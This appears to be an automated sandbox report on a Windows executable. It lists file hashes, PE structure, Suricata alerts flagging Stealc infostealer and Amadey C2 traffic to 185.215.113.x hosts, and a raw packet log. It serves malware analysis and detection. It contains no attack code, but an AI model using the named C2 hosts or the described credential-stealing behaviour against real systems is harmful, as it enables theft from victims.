Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944210715194871
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'795'584 bytes
MD5:	ebffb5c01b1cb9697d08aeef2d74123c
SHA1:	72d3627dd1479500d673967c180a89f54efca317
SHA256:	3a1e4e0d5512534e4b66e1ef57df3261a0c0d1c366e68eb8cacb318af8ad0651
SHA512:	842cddc1df2eb2295d0d7ab82edb9246869afb582689ba99bc8e480ccfa18b6b52436d3d7cb4b490aa264e432fc7e17f223b899fb79b0f907ce0f58b6126d128
SSDEEP:	24576:KTk9w0TLFU6y7pLxzi2fup+t8l6oM2yzJuNnGD04kTOG3N+5DkzTLIVPnrBv30Yd:NNFU6ytN3di6oMp/9jM+4C/0YV2
TLSH:	248533B2EDA2A90CCC3599B41D29CD41F15578720EF7F4E7D23DBE2D1ABA649D083408
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa87000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5D58AEC0EAh
cmove ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	b6287e6f796ba21446a622771ee25f53	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	9e884683a51e836a0c4aec5add625b93	False	0.578125	data	4.575200757961507	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29d000	0x200	8dae0a49cd3a39887a2c8d49236c345d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nxidxxjs	0x4e9000	0x19d000	0x19c200	a76db4860917bca1a61181236b9bcbbe	False	0.9946601550652108	data	7.952818503406039	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uucqkeof	0x686000	0x1000	0x400	b8d900e93d9e843260e11f25d2b25333	False	0.7099609375	data	5.751664391055744	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x687000	0x3000	0x2200	110423e4294837dae8d6e166347b8969	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68507c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T18:20:04.037723+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-09T18:20:04.479095+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-09T18:20:04.601146+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49707	TCP
2024-12-09T18:20:04.921354+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-09T18:20:05.043089+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49707	TCP
2024-12-09T18:20:06.343417+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-09T18:20:07.084047+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49707	185.215.113.206	80	TCP
2024-12-09T18:20:33.928715+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:35.980959+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:37.419162+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:38.665171+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:42.586580+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:43.694572+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49788	185.215.113.206	80	TCP
2024-12-09T18:20:50.029098+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49828	185.215.113.16	80	TCP
2024-12-09T18:22:05.630325+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50004	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 18:19:53.508285999 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:53.508399963 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:53.508410931 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:53.508450031 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:53.508913994 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:53.508980989 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:53.511293888 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:53.607043028 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.607194901 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.607208967 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.607256889 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:19:53.607491970 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.607539892 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:19:53.607652903 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.607662916 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.607705116 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:19:53.614356041 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.614371061 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.614413023 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:19:53.622581959 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.622726917 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.622777939 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:19:53.630508900 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:53.630862951 CET	443	49705	20.190.177.148	192.168.2.6
Dec 9, 2024 18:19:53.673259020 CET	49705	443	192.168.2.6	20.190.177.148
Dec 9, 2024 18:19:54.057029009 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:54.058358908 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:54.058428049 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:54.058521986 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:54.177875042 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:54.177932024 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:54.177939892 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:54.603220940 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:54.657612085 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:54.838546038 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:54.891982079 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:55.031239033 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:55.046084881 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:55.165851116 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:55.591006041 CET	443	49706	20.198.118.190	192.168.2.6
Dec 9, 2024 18:19:55.641949892 CET	49706	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:19:55.798221111 CET	49674	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:19:55.798223019 CET	49673	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:19:56.079468966 CET	49672	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:20:02.086261034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:02.205939054 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:02.206017971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:02.206938028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:02.326431990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:03.431266069 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:03.431322098 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:03.431457043 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:03.446959019 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:03.446975946 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:03.564013958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:03.564078093 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:03.575319052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:03.695127010 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.037581921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.037723064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.038841009 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.158256054 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.478960991 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.479041100 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.479094982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.479144096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.480720043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.601145983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921256065 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921354055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.921384096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921394110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921458960 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.921648026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921664000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921675920 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921686888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:04.921695948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.921710968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.921746969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:04.923744917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:05.043088913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.362735033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.362807035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:05.379462004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:05.379528046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:05.407665968 CET	49673	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:20:05.407670975 CET	49674	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:20:05.498996019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.499064922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.499211073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.499228001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.511107922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.511118889 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.511130095 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:05.688787937 CET	49672	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:20:05.691222906 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:05.691317081 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:05.696485043 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:05.696502924 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:05.696744919 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:05.698379040 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:05.698421001 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:05.698426008 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:05.698555946 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:05.739343882 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:06.245012045 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:06.245347977 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:06.245443106 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:06.261395931 CET	49708	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:06.261418104 CET	443	49708	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:06.343346119 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:06.343416929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:06.647068024 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:06.766582012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.083976984 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.083987951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.084047079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.086205959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.086258888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.086263895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.086303949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.091171980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.091224909 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.091365099 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.091414928 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.099589109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.099683046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.099694967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.099734068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.108278990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.108339071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.108350992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.108392954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.116471052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.116535902 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.116544962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.116601944 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.125269890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.125335932 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.209361076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.209455013 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.209480047 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.209503889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.213495970 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.213548899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.213582039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.213629961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.221863031 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.221916914 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.221957922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.222004890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.230205059 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.230267048 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.230340958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.230389118 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.238598108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.238666058 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.276232958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.276308060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.276345015 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.276366949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.280366898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.280426025 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.280512094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.280553102 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.288757086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.288922071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.291706085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.291774035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.291853905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.291901112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.300215960 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.300267935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.300293922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.300338984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.308422089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.308474064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.308556080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.308607101 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.316952944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.317013979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.317251921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.317301989 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.325210094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.325262070 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.341443062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.341505051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.341810942 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.341866016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.346004009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:07.346061945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:07.346095085 CET	80	49707	185.215.113.206	192.168.2.6
